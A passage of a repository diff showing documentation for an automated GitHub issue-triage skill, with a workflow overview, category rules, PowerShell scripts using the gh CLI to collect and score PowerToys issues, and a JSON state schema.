- GitHub CLI (`gh`) installed and authenticated
- MCP Server: github-mcp-server (optional, for images/attachments)
- Access to `.github/prompts/review-issue.prompt.md` for deep analysis
## Workflow Overview
```
┌─────────────────────────────────┐
│ 1. Load Previous State │
│ (triage-state.json) │
└─────────────────────────────────┘
┌─────────────────────────────────┐
│ 2. Collect Active Issues │
│ - Recently updated open │
│ - Closed with new comments │
│ - Previously flagged │
└─────────────────────────────────┘
┌─────────────────────────────────┐
│ 3. Categorize Issues │
│ (Apply category rules) │
└─────────────────────────────────┘
┌─────────────────────────────────┐
│ 4. Deep Analysis (selective) │
│ (Use review-issue prompt) │
└─────────────────────────────────┘
┌─────────────────────────────────┐
│ 5. Generate Reports & Drafts │
└─────────────────────────────────┘
┌─────────────────────────────────┐
│ 6. Save State for Next Run │
└─────────────────────────────────┘
```
## Issue Categories
Issues are categorized into actionable buckets with prioritization scores:
| Category | Emoji | Criteria | Human Action |
|----------|-------|----------|--------------|
| **Trending** | 🔥 | 5+ new comments since last run | Review conversation, respond |
| **Needs-Label** | 🏷️ | Missing `Product-*` or `Area-*` label | Apply suggested label |
| **Ready-for-Fix** | ✅ | High clarity, feasible, validated | Assign or implement |
| **Needs-Info** | ❓ | Missing repro, impact, or expected result | Post drafted questions |
| **Needs-Clarification** | 💬 | Question/discussion, not a bug | Post explanation reply |
| **Closeable** | ✔️ | Fixed by PR, released, or resolved | Close with message |
| **Stale-Waiting** | ⏳ | Waiting on author >14 days | Ping or close |
| **Duplicate-Candidate** | 🔁 | Similar to existing issue | Link and close |
## Detailed Workflow Docs
Read steps progressively—only load what you need:
- [Step 1: State Management](./references/step1-state-management.md)
- [Step 2: Issue Collection](./references/step2-collection.md)
- [Step 3: Categorization Rules](./references/step3-categorization.md)
- [Step 4: Deep Analysis](./references/step4-deep-analysis.md)
- [Step 5: Report Generation](./references/step5-reports.md)
- [Step 6: Reply Templates](./references/step6-reply-templates.md)
## Available Scripts
| Script | Purpose |
|--------|---------|
| [run-triage.ps1](./scripts/run-triage.ps1) | **Main orchestrator** - runs full triage with parallel Copilot CLI |
| [collect-active-issues.ps1](./scripts/collect-active-issues.ps1) | Fetch issues updated since last run (standalone) |
| [categorize-issues.ps1](./scripts/categorize-issues.ps1) | Apply categorization rules (standalone) |
| [generate-summary.ps1](./scripts/generate-summary.ps1) | Create executive summary (standalone) |
## Quick Start
1. **First Run**: Creates initial state, analyzes recent activity
2. **Subsequent Runs**: Compares against previous state, highlights changes (delta)
### Running the Triage
**PowerShell 7 Required** - Uses parallel processing for efficiency.
```powershell
# Basic run (weekly, 5 parallel, 5min timeout, 3 retries)
.\.github\skills\continuous-issue-triage\scripts\run-triage.ps1
# Daily run with more parallelism
.\.github\skills\continuous-issue-triage\scripts\run-triage.ps1 -RunType daily -MaxParallel 10
# With specific model
.\.github\skills\continuous-issue-triage\scripts\run-triage.ps1 -Model "claude-sonnet-4"
# Force re-analyze all (ignore cache)
.\.github\skills\continuous-issue-triage\scripts\run-triage.ps1 -Force
# With MCP config
.\.github\skills\continuous-issue-triage\scripts\run-triage.ps1 -McpConfig ".\.github\mcp.json"
```
### Parameters
| Parameter | Default | Description |
|-----------|---------|-------------|
| `-RunType` | weekly | daily, twice-weekly, weekly |
| `-MaxParallel` | 5 | Concurrent Copilot CLI invocations |
| `-TimeoutMinutes` | 5 | Timeout per issue analysis |
| `-MaxRetries` | 3 | Retries on timeout/failure |
| `-Model` | (default) | Copilot model to use |
| `-McpConfig` | (none) | Path to MCP config file |
| `-LookbackDays` | 7 | Days to look back on first run |
| `-Force` | false | Re-analyze all, ignore cache |
### Example Invocation (via Copilot Chat)
```
"Run issue triage" or "Triage issues for this week"
```
The skill will:
1. Check for existing `triage-state.json`
2. Collect issues updated since last run (or last 7 days for first run)
3. **Run parallel Copilot CLI analysis** with timeout/retry handling
4. Categorize and prioritize (using cached results where valid)
5. Generate actionable reports with draft replies
6. Save state for next run (delta tracking)
## Parallel Execution Model
The skill uses PowerShell 7's `ForEach-Object -Parallel` to analyze issues concurrently:
```
┌─────────────────────────────────────────────────────────────┐
│ run-triage.ps1 │
├─────────────────────────────────────────────────────────────┤
│ Issue #123 ──┐ │
│ Issue #124 ──┼── ForEach-Object -Parallel ─┬── Result #123 │
│ Issue #125 ──┤ (ThrottleLimit: 5) ├── Result #124 │
│ Issue #126 ──┤ ├── Result #125 │
│ Issue #127 ──┘ └── Result #126 │
│ ... │
│ Each issue: │
│ ┌─────────────────────────────────────────────────────┐ │
│ │ copilot -p "Analyze #N..." --yolo │ │
│ │ ├── Timeout: 5 minutes │ │
│ │ ├── Retry: up to 3 times │ │
│ │ └── Output: JSON analysis result │ │
│ └─────────────────────────────────────────────────────┘ │
└─────────────────────────────────────────────────────────────┘
```
### Timeout & Retry Handling
- Each Copilot CLI invocation has a **5 minute timeout** (configurable)
- On timeout: job is killed, waits 10 seconds, retries
- **3 retries maximum** before marking as failed
- Failed analyses are logged and reported separately
## Delta Tracking
The skill tracks state between runs to report **what changed**:
```json
{
"lastRun": "2026-02-05T10:30:00Z",
"issueSnapshots": {
"12345": {
"lastSeenAt": "2026-02-05T...",
"category": "trending",
"priorityScore": 82
}
},
"analysisResults": {
"12345": {
"success": true,
"analyzedAt": "2026-02-05T...",
"data": { ... }
}
}
}
```
**Delta Report Shows**:
- Issues with **new activity** since last run
- **Newly analyzed** vs **cached** results
- Category **changes** (e.g., was needs-info, now ready-for-fix)
- **Analysis failures** that need retry
## Output Format
### Executive Summary (`summary.md`)
```markdown
# Issue Triage Summary - 2026-02-05
**Run Type**: Weekly | **Issues Analyzed**: 47 | **Since**: 2026-01-29
## Action Required by Category
| Category | Count | Top Priority |
|----------|-------|--------------|
| 🔥 Trending | 3 | #12345 (12 new comments) |
| 🏷️ Needs-Label | 5 | #12346 (suggest: FancyZones) |
| ✅ Ready-for-Fix | 2 | #12347 (score: 85/100) |
| ❓ Needs-Info | 8 | #12348 (missing repro) |
| 💬 Needs-Clarification | 4 | #12349 (question about feature) |
| ✔️ Closeable | 6 | #12350 (fixed in v0.99) |
## Quick Actions
- [ ] Review #12345 - trending with negative sentiment
- [ ] Label #12346 as Product-FancyZones
- [ ] Assign #12347 to @contributor
- [ ] Post clarification on #12348 (draft ready)
- [ ] Close #12350 with release note link
```
## State Schema
See [State Management](./references/step1-state-management.md) for full schema.
```json
{
"version": "1.0",
"lastRun": "2026-02-05T10:30:00Z",
"lastRunType": "weekly",
"issueSnapshots": {
"12345": {
"number": 12345,
"title": "FancyZones: Window snapping issue",
"state": "open",
"lastSeenAt": "2026-02-05T...",
"category": "trending",
"priorityScore": 82
}
},
"analysisResults": {
"12345": {
"success": true,
"analyzedAt": "2026-02-05T10:30:00Z",
"data": {
"issueNumber": 12345,
"category": "trending",
"categoryReason": "8 new comments, heated discussion",
"priorityScore": 82,
"suggestedAction": "Review conversation urgently",
"draftReply": "...",
"clarityScore": 75,
"feasibilityScore": 80
}
}
},
"statistics": {
"totalRunCount": 12,
"issuesAnalyzed": 234
}
}
```
## Cache Invalidation Rules
Analysis results are **cached** and reused when:
- Issue has **no new activity** since last analysis
- Analysis is **less than 7 days old**
- `-Force` flag is **not** specified
Re-analysis triggers:
- New comments on the issue
- Issue state changed
- Cache older than 7 days
- Explicit `-Force` flag
## Integration with review-issue Prompt
For issues in **Ready-for-Fix** or complex **Needs-Info** categories, this skill automatically invokes the [review-issue prompt](../../prompts/review-issue.prompt.md) to generate:
- Detailed `overview.md` with scoring
- `implementation-plan.md` for ready issues
Results are cached in `issue-cache/XXXXX/` and reused across runs.
## Troubleshooting
| Issue | Solution |
|-------|----------|
| No `triage-state.json` | First run—will create initial state |
| PowerShell version error | Requires PowerShell 7+ for `-Parallel` |
| Copilot CLI not found | Install: `gh extension install github/gh-copilot` |
| Too many timeouts | Increase `-TimeoutMinutes` or reduce `-MaxParallel` |
| High failure rate | Check `issue-cache/*/error.log` for details |
| Stale cache | Use `-Force` to re-analyze all issues |
| gh rate limit | Wait or reduce `-MaxParallel` |
| Empty analysis results | Check Copilot CLI auth: `gh auth status` |
## Conventions
- **Preserve history**: Archive each run to `history/YYYY-MM-DD/`
- **Draft replies**: Always human-review before posting
- **Label suggestions**: Confidence threshold 70% for auto-suggest
- **Closed issues**: Track for 30 days after close for late comments

View File

@@ -1,223 +0,0 @@
# Step 1: State Management
The triage skill maintains persistent state between runs to track issue activity and pending actions.
## State File Location
```
Generated Files/triage-issues/triage-state.json
```
## Initial State Creation
On first run (no existing state file), create initial state:
```powershell
# Check if state exists
$statePath = "Generated Files/triage-issues/triage-state.json"
if (-not (Test-Path $statePath)) {
# First run - create initial state
$initialState = @{
version = "1.0"
lastRun = $null
lastRunType = $null
issueSnapshots = @{}
pendingFollowUps = @()
closedWithActivity = @()
configuration = @{
trendingThreshold = 5
staleWaitingDays = 14
closedTrackingDays = 30
labelConfidenceThreshold = 70
}
}
New-Item -ItemType Directory -Force -Path (Split-Path $statePath)
$initialState | ConvertTo-Json -Depth 10 | Set-Content $statePath
}
```
## Full State Schema
```json
{
"version": "1.0",
"lastRun": "2026-02-05T10:30:00Z",
"lastRunType": "weekly",
"issueSnapshots": {
"12345": {
"number": 12345,
"title": "FancyZones: Window snapping not working",
"state": "open",
"labels": ["Product-FancyZones", "Issue-Bug"],
"commentCount": 15,
"lastCommentAt": "2026-02-04T15:30:00Z",
"lastCommentAuthor": "user123",
"reactions": {
"thumbsUp": 10,
"thumbsDown": 0,
"heart": 2
},
"category": "trending",
"categoryReason": "12 new comments since last run",
"priorityScore": 75,
"pendingAction": "review",
"actionTaken": false,
"actionTakenAt": null,
"draftReplyPath": null,
"linkedPRs": [],
"firstSeenAt": "2026-01-15T...",
"lastAnalyzedAt": "2026-02-01T..."
}
},
"pendingFollowUps": [
{
"issueNumber": 12346,
"action": "post-clarification",
"scheduledFor": "2026-02-07T...",
"draftPath": "draft-replies/issue-12346.md",
"status": "pending"
}
],
"closedWithActivity": [
{
"issueNumber": 12350,
"closedAt": "2026-01-20T...",
"lastCheckedAt": "2026-02-05T...",
"newCommentsSinceClosed": 2,
"needsReview": true
}
],
"configuration": {
"trendingThreshold": 5,
"staleWaitingDays": 14,
"closedTrackingDays": 30,
"labelConfidenceThreshold": 70
},
"statistics": {
"totalRunCount": 12,
"issuesTriaged": 234,
"repliesPosted": 45,
"issuesClosed": 89
}
}
```
## Loading State
```powershell
function Load-TriageState {
param([string]$StatePath = "Generated Files/triage-issues/triage-state.json")
if (Test-Path $StatePath) {
$state = Get-Content $StatePath | ConvertFrom-Json -AsHashtable
Write-Host "Loaded state from $($state.lastRun)"
return $state
}
Write-Host "No previous state found - initializing fresh run"
return $null
}
```
## Saving State
After each run, update and save the state:
```powershell
function Save-TriageState {
param(
[hashtable]$State,
[string]$StatePath = "Generated Files/triage-issues/triage-state.json",
[switch]$Archive
)
$State.lastRun = (Get-Date).ToUniversalTime().ToString("o")
# Archive previous run if requested
if ($Archive -and (Test-Path $StatePath)) {
$archiveDate = (Get-Date).ToString("yyyy-MM-dd")
$archivePath = "Generated Files/triage-issues/history/$archiveDate"
New-Item -ItemType Directory -Force -Path $archivePath
Copy-Item $StatePath "$archivePath/triage-state.json"
# Also archive current-run folder
if (Test-Path "Generated Files/triage-issues/current-run") {
Copy-Item -Recurse "Generated Files/triage-issues/current-run" $archivePath
}
}
$State | ConvertTo-Json -Depth 10 | Set-Content $StatePath
Write-Host "State saved at $($State.lastRun)"
}
```
## State Transitions
### Issue Snapshot Lifecycle
```
NEW ISSUE DETECTED
┌──────────────────┐
│ issueSnapshots │ ← Add with initial data
│ category: null │
└──────────────────┘
CATEGORIZATION PASS
┌──────────────────┐
│ category: set │ ← trending/needs-label/etc.
│ priorityScore │
│ pendingAction │
└──────────────────┘
HUMAN TAKES ACTION (external)
┌──────────────────┐
│ actionTaken: true│ ← Mark as handled
│ actionTakenAt │
└──────────────────┘
NEXT RUN: RE-EVALUATE
┌──────────────────┐
│ category: update │ ← May change category
│ reset action? │ if new activity
└──────────────────┘
```
### Detecting Changes Between Runs
```powershell
function Get-IssueChanges {
param(
[hashtable]$PreviousSnapshot,
[hashtable]$CurrentData
)
$changes = @{
newComments = $CurrentData.commentCount - $PreviousSnapshot.commentCount
stateChanged = $CurrentData.state -ne $PreviousSnapshot.state
labelsChanged = (Compare-Object $PreviousSnapshot.labels $CurrentData.labels).Count -gt 0
reactionsChanged = $CurrentData.reactions.thumbsUp -ne $PreviousSnapshot.reactions.thumbsUp
}
return $changes
}
```
## Configuration Options
| Setting | Default | Description |
|---------|---------|-------------|
| `trendingThreshold` | 5 | Minimum new comments to flag as trending |
| `staleWaitingDays` | 14 | Days waiting on author before stale |
| `closedTrackingDays` | 30 | Days to monitor closed issues for new comments |
| `labelConfidenceThreshold` | 70 | Minimum confidence % for label suggestions |
## Best Practices
1. **Always archive before overwriting**: Preserve history for audit trail
2. **Atomic updates**: Update state only after successful run completion
3. **Graceful degradation**: If state is corrupted, allow fresh start
4. **Version field**: Enables future schema migrations

View File

@@ -1,225 +0,0 @@
# Step 2: Issue Collection
Collect issues that need triage attention based on activity since last run.
## Collection Strategy
### Issue Sources
1. **Recently Updated Open Issues**: Any open issue with activity since last run
2. **Closed Issues with New Comments**: People may ask questions on closed issues
3. **Previously Flagged Issues**: Issues with pending actions from last run
4. **New Issues**: Issues created since last run
## GitHub CLI Commands
### Collect Recently Updated Open Issues
```powershell
# Get open issues updated since last run
$since = "2026-01-29T00:00:00Z" # From triage-state.json.lastRun
gh issue list `
--state open `
--json number,title,body,author,createdAt,updatedAt,state,labels,milestone,reactions,comments `
--limit 500 `
| ConvertFrom-Json `
| Where-Object { [datetime]$_.updatedAt -gt [datetime]$since }
```
### Collect Closed Issues with Recent Activity
```powershell
# Closed issues that might have new comments
$trackingDays = 30
gh issue list `
--state closed `
--json number,title,updatedAt,closedAt,comments `
--limit 200 `
| ConvertFrom-Json `
| Where-Object {
$closedDate = [datetime]$_.closedAt
$updatedDate = [datetime]$_.updatedAt
$cutoff = (Get-Date).AddDays(-$trackingDays)
# Closed within tracking window AND updated after closed
($closedDate -gt $cutoff) -and ($updatedDate -gt $closedDate)
}
```
### Full Issue Details
For each issue needing analysis, fetch complete data:
```powershell
function Get-IssueDetails {
param([int]$IssueNumber)
$issue = gh issue view $IssueNumber `
--json number,title,body,author,createdAt,updatedAt,state,labels,milestone,reactions,comments,linkedPullRequests `
| ConvertFrom-Json
return @{
number = $issue.number
title = $issue.title
body = $issue.body
author = $issue.author.login
state = $issue.state
createdAt = $issue.createdAt
updatedAt = $issue.updatedAt
labels = $issue.labels | ForEach-Object { $_.name }
milestone = $issue.milestone.title
reactions = @{
thumbsUp = ($issue.reactions | Where-Object { $_.content -eq "THUMBS_UP" }).Count
thumbsDown = ($issue.reactions | Where-Object { $_.content -eq "THUMBS_DOWN" }).Count
heart = ($issue.reactions | Where-Object { $_.content -eq "HEART" }).Count
}
commentCount = $issue.comments.Count
comments = $issue.comments | ForEach-Object {
@{
author = $_.author.login
createdAt = $_.createdAt
body = $_.body
}
}
linkedPRs = $issue.linkedPullRequests | ForEach-Object {
@{
number = $_.number
title = $_.title
state = $_.state
mergedAt = $_.mergedAt
}
}
}
}
```
## Filtering Logic
### First Run (No Previous State)
```powershell
# Collect issues from last 7 days
$lookbackDays = 7
$since = (Get-Date).AddDays(-$lookbackDays).ToUniversalTime().ToString("o")
$openIssues = gh issue list --state open --json number,updatedAt --limit 500 `
| ConvertFrom-Json `
| Where-Object { [datetime]$_.updatedAt -gt [datetime]$since }
Write-Host "First run: Found $($openIssues.Count) issues from last $lookbackDays days"
```
### Subsequent Runs
```powershell
function Get-IssuesToTriage {
param(
[hashtable]$State,
[string]$RunType = "weekly" # daily, twice-weekly, weekly
)
$since = [datetime]$State.lastRun
$issues = @()
# 1. Open issues updated since last run
$openUpdated = gh issue list --state open --json number,updatedAt --limit 500 `
| ConvertFrom-Json `
| Where-Object { [datetime]$_.updatedAt -gt $since }
$issues += $openUpdated
# 2. Closed issues we're tracking
foreach ($tracked in $State.closedWithActivity) {
$issueData = gh issue view $tracked.issueNumber --json updatedAt,comments | ConvertFrom-Json
if ([datetime]$issueData.updatedAt -gt [datetime]$tracked.lastCheckedAt) {
$issues += @{ number = $tracked.issueNumber; source = "closed-tracking" }
}
}
# 3. Issues with pending actions (re-check status)
foreach ($pending in $State.pendingFollowUps) {
if ($pending.status -eq "pending") {
$issues += @{ number = $pending.issueNumber; source = "pending-action" }
}
}
# 4. Issues previously categorized but action not taken
foreach ($snapshot in $State.issueSnapshots.Values) {
if ($snapshot.pendingAction -and -not $snapshot.actionTaken) {
if ($issues.number -notcontains $snapshot.number) {
$issues += @{ number = $snapshot.number; source = "unhandled" }
}
}
}
return $issues | Sort-Object -Property number -Unique
}
```
## Comment Analysis
For trending detection, analyze comment activity:
```powershell
function Get-CommentDelta {
param(
[int]$IssueNumber,
[hashtable]$PreviousSnapshot
)
$current = gh issue view $IssueNumber --json comments | ConvertFrom-Json
$previousCount = if ($PreviousSnapshot) { $PreviousSnapshot.commentCount } else { 0 }
$previousLastComment = if ($PreviousSnapshot) { $PreviousSnapshot.lastCommentAt } else { $null }
$newComments = $current.comments | Where-Object {
-not $previousLastComment -or [datetime]$_.createdAt -gt [datetime]$previousLastComment
}
return @{
totalComments = $current.comments.Count
newCommentCount = $newComments.Count
newComments = $newComments | ForEach-Object {
@{
author = $_.author.login
createdAt = $_.createdAt
bodyPreview = $_.body.Substring(0, [Math]::Min(200, $_.body.Length))
}
}
lastCommentAt = ($current.comments | Sort-Object createdAt -Descending | Select-Object -First 1).createdAt
lastCommentAuthor = ($current.comments | Sort-Object createdAt -Descending | Select-Object -First 1).author.login
}
}
```
## Output Format
Save collected issues to working file:
```powershell
$collectedIssues | ConvertTo-Json -Depth 10 | Set-Content "Generated Files/triage-issues/current-run/collected-issues.json"
```
## Rate Limiting
GitHub API has rate limits. For large backlogs:
```powershell
# Check rate limit
gh api rate_limit --jq '.resources.core'
# Batch requests with delay if needed
$batchSize = 50
$delaySeconds = 2
for ($i = 0; $i -lt $issues.Count; $i += $batchSize) {
$batch = $issues[$i..([Math]::Min($i + $batchSize - 1, $issues.Count - 1))]
# Process batch...
Start-Sleep -Seconds $delaySeconds
}
```
## Next Step
After collection, proceed to [Step 3: Categorization](./step3-categorization.md).

View File

@@ -1,432 +0,0 @@
# Step 3: Categorization Rules
Apply categorization rules to assign each issue to an actionable bucket.
## Category Definitions
| Category | ID | Priority | Criteria |
|----------|-----|----------|----------|
| 🔥 **Trending** | `trending` | 1 | 5+ new comments since last run |
| 🏷️ **Needs-Label** | `needs-label` | 2 | Missing `Product-*` or `Area-*` label |
| ✅ **Ready-for-Fix** | `ready-for-fix` | 3 | High clarity (≥70), feasible (≥60), validated |
| ❓ **Needs-Info** | `needs-info` | 4 | Missing repro, impact, or expected result |
| 💬 **Needs-Clarification** | `needs-clarification` | 5 | Question/discussion, not actionable bug |
| ✔️ **Closeable** | `closeable` | 6 | Fixed by merged PR, or released, or resolved |
| ⏳ **Stale-Waiting** | `stale-waiting` | 7 | Waiting on author >14 days after ask |
| 🔁 **Duplicate-Candidate** | `duplicate-candidate` | 8 | Likely duplicate of existing issue |
## Categorization Algorithm
```
FOR EACH issue in collected_issues:
# Priority order - first match wins
1. CHECK TRENDING
IF new_comments >= 5:
category = "trending"
CONTINUE
2. CHECK CLOSEABLE
IF has_merged_PR AND PR_in_released_version:
category = "closeable"
reason = "Fixed in PR #X, released in vY.Z"
CONTINUE
IF state == "open" AND all_linked_PRs_merged:
category = "closeable"
reason = "All linked PRs merged"
CONTINUE
3. CHECK NEEDS-LABEL
IF missing_product_or_area_label:
category = "needs-label"
suggested_label = analyze_content()
CONTINUE
4. CHECK STALE-WAITING
IF has_label("Needs-Author-Feedback"):
IF days_since_last_author_response > 14:
category = "stale-waiting"
CONTINUE
5. CHECK NEEDS-CLARIFICATION (question, not bug)
IF is_question_not_bug():
category = "needs-clarification"
draft_reply = generate_explanation()
CONTINUE
6. CHECK NEEDS-INFO
IF missing_repro_steps OR missing_expected_result OR missing_version:
category = "needs-info"
missing_items = identify_gaps()
draft_questions = generate_questions()
CONTINUE
7. CHECK READY-FOR-FIX
IF clarity_score >= 70 AND feasibility_score >= 60:
category = "ready-for-fix"
CONTINUE
8. CHECK DUPLICATE
IF similar_issues_found AND confidence > 80:
category = "duplicate-candidate"
duplicate_of = [similar_issue_numbers]
CONTINUE
9. DEFAULT
category = "review-needed"
# Needs human judgment
```
## Category Rule Details
### 🔥 Trending Detection
```powershell
function Test-Trending {
param(
[hashtable]$Issue,
[hashtable]$PreviousSnapshot,
[int]$Threshold = 5
)
$previousCount = if ($PreviousSnapshot) { $PreviousSnapshot.commentCount } else { 0 }
$newComments = $Issue.commentCount - $previousCount
if ($newComments -ge $Threshold) {
return @{
isTrending = $true
newCommentCount = $newComments
reason = "$newComments new comments since last triage"
sentiment = Get-CommentSentiment $Issue.comments # Optional
}
}
return @{ isTrending = $false }
}
```
### 🏷️ Label Analysis
```powershell
function Test-NeedsLabel {
param([hashtable]$Issue)
$productLabels = $Issue.labels | Where-Object { $_ -like "Product-*" }
$areaLabels = $Issue.labels | Where-Object { $_ -like "Area-*" }
if ($productLabels.Count -eq 0 -and $areaLabels.Count -eq 0) {
# Analyze content to suggest label
$suggestion = Get-LabelSuggestion $Issue
return @{
needsLabel = $true
missingType = "product-or-area"
suggestedLabels = $suggestion.labels
confidence = $suggestion.confidence
reason = $suggestion.reason
}
}
return @{ needsLabel = $false }
}
function Get-LabelSuggestion {
param([hashtable]$Issue)
# Keyword mapping to products
$productKeywords = @{
"Product-FancyZones" = @("fancy zones", "fancyzones", "zone", "snap", "layout", "window arrangement")
"Product-PowerToys Run" = @("run", "launcher", "alt+space", "search", "plugin")
"Product-Color Picker" = @("color picker", "colorpicker", "eyedropper", "hex", "rgb")
"Product-Keyboard Manager" = @("keyboard", "remap", "shortcut", "key")
"Product-Mouse Utils" = @("mouse", "crosshairs", "find my mouse", "highlighter", "pointer")
"Product-File Explorer" = @("file explorer", "preview", "thumbnail", "markdown preview", "svg")
"Product-Image Resizer" = @("image resizer", "resize", "bulk resize")
"Product-PowerRename" = @("rename", "power rename", "bulk rename", "regex rename")
"Product-Awake" = @("awake", "keep awake", "prevent sleep", "caffeinate")
"Product-Shortcut Guide" = @("shortcut guide", "win key", "keyboard shortcuts")
"Product-Text Extractor" = @("text extractor", "ocr", "screen text", "copy text from screen")
"Product-Hosts File Editor" = @("hosts", "hosts file", "dns")
"Product-Peek" = @("peek", "quick preview", "spacebar preview")
"Product-Crop And Lock" = @("crop", "crop and lock", "window crop")
"Product-Paste As Plain Text" = @("paste", "plain text", "paste as")
"Product-Registry Preview" = @("registry", "reg file", "registry preview")
"Product-Environment Variables" = @("environment", "env", "variables", "path")
"Product-Command Not Found" = @("command not found", "winget suggest")
"Product-New+" = @("new+", "new plus", "file template")
"Product-Advanced Paste" = @("advanced paste", "ai paste", "clipboard")
"Product-Workspaces" = @("workspaces", "workspace", "project launcher")
"Product-Cmd Palette" = @("command palette", "cmd palette", "palette")
"Product-ZoomIt" = @("zoomit", "zoom it", "screen zoom", "magnifier")
}
$titleLower = $Issue.title.ToLower()
$bodyLower = if ($Issue.body) { $Issue.body.ToLower() } else { "" }
$combined = "$titleLower $bodyLower"
$matches = @()
foreach ($product in $productKeywords.Keys) {
$keywords = $productKeywords[$product]
$matchCount = ($keywords | Where-Object { $combined -match $_ }).Count
if ($matchCount -gt 0) {
$matches += @{
label = $product
matchCount = $matchCount
confidence = [Math]::Min(100, $matchCount * 25 + 25)
}
}
}
$best = $matches | Sort-Object confidence -Descending | Select-Object -First 1
if ($best -and $best.confidence -ge 50) {
return @{
labels = @($best.label)
confidence = $best.confidence
reason = "Matched $($best.matchCount) keywords for $($best.label)"
}
}
return @{
labels = @()
confidence = 0
reason = "No confident label match - needs human review"
}
}
```
### ✅ Ready-for-Fix Detection
Leverage the `review-issue` prompt scores:
```powershell
function Test-ReadyForFix {
param(
[hashtable]$Issue,
[string]$CachePath = "Generated Files/triage-issues/issue-cache"
)
$overviewPath = "$CachePath/$($Issue.number)/overview.md"
if (-not (Test-Path $overviewPath)) {
# Need to run deep analysis first
return @{ needsAnalysis = $true }
}
# Parse scores from cached overview
$overview = Get-Content $overviewPath -Raw
$clarityScore = [regex]::Match($overview, 'Requirement Clarity.*?(\d+)/100').Groups[1].Value
$feasibilityScore = [regex]::Match($overview, 'Technical Feasibility.*?(\d+)/100').Groups[1].Value
if ([int]$clarityScore -ge 70 -and [int]$feasibilityScore -ge 60) {
return @{
readyForFix = $true
clarityScore = [int]$clarityScore
feasibilityScore = [int]$feasibilityScore
reason = "High clarity ($clarityScore) and feasible ($feasibilityScore)"
}
}
return @{ readyForFix = $false }
}
```
### ❓ Needs-Info Detection
```powershell
function Test-NeedsInfo {
param([hashtable]$Issue)
$missingItems = @()
$body = $Issue.body
# Check for repro steps
if ($body -notmatch '(?i)(steps to reproduce|repro|how to reproduce|reproduction)') {
$missingItems += "reproduction steps"
}
# Check for expected result
if ($body -notmatch '(?i)(expected|should|supposed to)') {
$missingItems += "expected behavior"
}
# Check for version
if ($body -notmatch '(?i)(version|v\d+\.\d+|\d+\.\d+\.\d+)') {
$missingItems += "PowerToys version"
}
# Check for OS version
if ($body -notmatch '(?i)(windows 1[01]|win1[01]|22h2|23h2|24h2|build \d+)') {
$missingItems += "Windows version"
}
# Check for actual result (for bugs)
if ($Issue.labels -contains "Issue-Bug") {
if ($body -notmatch '(?i)(actual|instead|but|however|currently)') {
$missingItems += "actual behavior/result"
}
}
if ($missingItems.Count -gt 0) {
return @{
needsInfo = $true
missingItems = $missingItems
reason = "Missing: " + ($missingItems -join ", ")
}
}
return @{ needsInfo = $false }
}
```
### 💬 Needs-Clarification (Not a Bug)
```powershell
function Test-NeedsClarification {
param([hashtable]$Issue)
$questionPatterns = @(
'(?i)^(how (do|can|to)|why (does|is|doesn''t)|is (it|there|this) (possible|a way))',
'(?i)\?$', # Ends with question mark
'(?i)(wondering|curious|question|asking)',
'(?i)(is this (intended|by design|expected))',
'(?i)(can (someone|you) (explain|help))'
)
$titleAndBody = $Issue.title + " " + $Issue.body
$isQuestion = $false
foreach ($pattern in $questionPatterns) {
if ($titleAndBody -match $pattern) {
$isQuestion = $true
break
}
}
# Also check if explicitly marked as question
if ($Issue.labels -contains "Issue-Question" -or $Issue.labels -contains "Type-Question") {
$isQuestion = $true
}
if ($isQuestion -and ($Issue.labels -notcontains "Issue-Bug")) {
return @{
needsClarification = $true
type = "question"
reason = "Appears to be a question/inquiry rather than bug report"
}
}
return @{ needsClarification = $false }
}
```
### ✔️ Closeable Detection
```powershell
function Test-Closeable {
param([hashtable]$Issue)
$closeReasons = @()
# Check for merged linked PRs
$mergedPRs = $Issue.linkedPRs | Where-Object { $_.state -eq "MERGED" }
if ($mergedPRs.Count -gt 0) {
$closeReasons += @{
type = "fixed-by-pr"
prNumbers = $mergedPRs.number
reason = "Fixed by PR(s): #" + ($mergedPRs.number -join ", #")
}
}
# Check comments for "fixed in" or "released in"
$recentComments = $Issue.comments | Sort-Object createdAt -Descending | Select-Object -First 5
foreach ($comment in $recentComments) {
if ($comment.body -match '(?i)(fixed in|released in|available in|shipped in) v?(\d+\.\d+)') {
$version = $Matches[2]
$closeReasons += @{
type = "released"
version = $version
reason = "Released in v$version"
}
break
}
}
# Check if marked as duplicate
if ($Issue.labels -contains "Resolution-Duplicate") {
$closeReasons += @{
type = "duplicate"
reason = "Marked as duplicate"
}
}
# Check if marked as won't fix
if ($Issue.labels -contains "Resolution-Won't Fix" -or $Issue.labels -contains "Resolution-By-Design") {
$closeReasons += @{
type = "wont-fix"
reason = "Marked as won't fix / by design"
}
}
if ($closeReasons.Count -gt 0) {
return @{
closeable = $true
reasons = $closeReasons
}
}
return @{ closeable = $false }
}
```
## Priority Scoring
Combine signals for overall priority within category:
```powershell
function Get-PriorityScore {
param([hashtable]$Issue)
$score = 50 # Base score
# Reaction boost
$thumbsUp = $Issue.reactions.thumbsUp
$score += [Math]::Min(20, $thumbsUp * 2)
# Comment engagement
$score += [Math]::Min(15, $Issue.commentCount)
# Recency boost (updated recently)
$daysSinceUpdate = ((Get-Date) - [datetime]$Issue.updatedAt).Days
if ($daysSinceUpdate -le 7) { $score += 10 }
elseif ($daysSinceUpdate -le 30) { $score += 5 }
# Label boosts
if ($Issue.labels -contains "Priority-High") { $score += 15 }
if ($Issue.labels -match "Regression") { $score += 20 }
if ($Issue.labels -match "Security") { $score += 25 }
return [Math]::Min(100, $score)
}
```
## Output
Save categorization results:
```json
{
"12345": {
"category": "trending",
"categoryReason": "8 new comments since last run",
"priorityScore": 82,
"additionalFlags": ["negative-sentiment"],
"suggestedAction": "Review urgent - heated discussion"
}
}
```
## Next Step
Proceed to [Step 4: Deep Analysis](./step4-deep-analysis.md) for complex issues.

View File

@@ -1,274 +0,0 @@
# Step 4: Deep Analysis
For issues requiring detailed analysis, leverage the `review-issue` prompt to generate comprehensive reviews.
## When to Run Deep Analysis
| Category | Deep Analysis? | Reason |
|----------|---------------|--------|
| Trending | Optional | If conversation is contentious |
| Needs-Label | No | Label detection is keyword-based |
| Ready-for-Fix | Yes (cached) | Need scores for validation |
| Needs-Info | Optional | To identify specific gaps |
| Needs-Clarification | No | Simple question detection |
| Closeable | No | Mechanical check |
| Stale-Waiting | No | Time-based |
| Duplicate-Candidate | Optional | Similar issue search |
## Integration with review-issue Prompt
The `review-issue` prompt generates two artifacts:
- `overview.md` - Scoring, signals, suggested actions
- `implementation-plan.md` - Technical breakdown
### Invoking the Prompt
```markdown
# Within the agent's execution, reference the prompt:
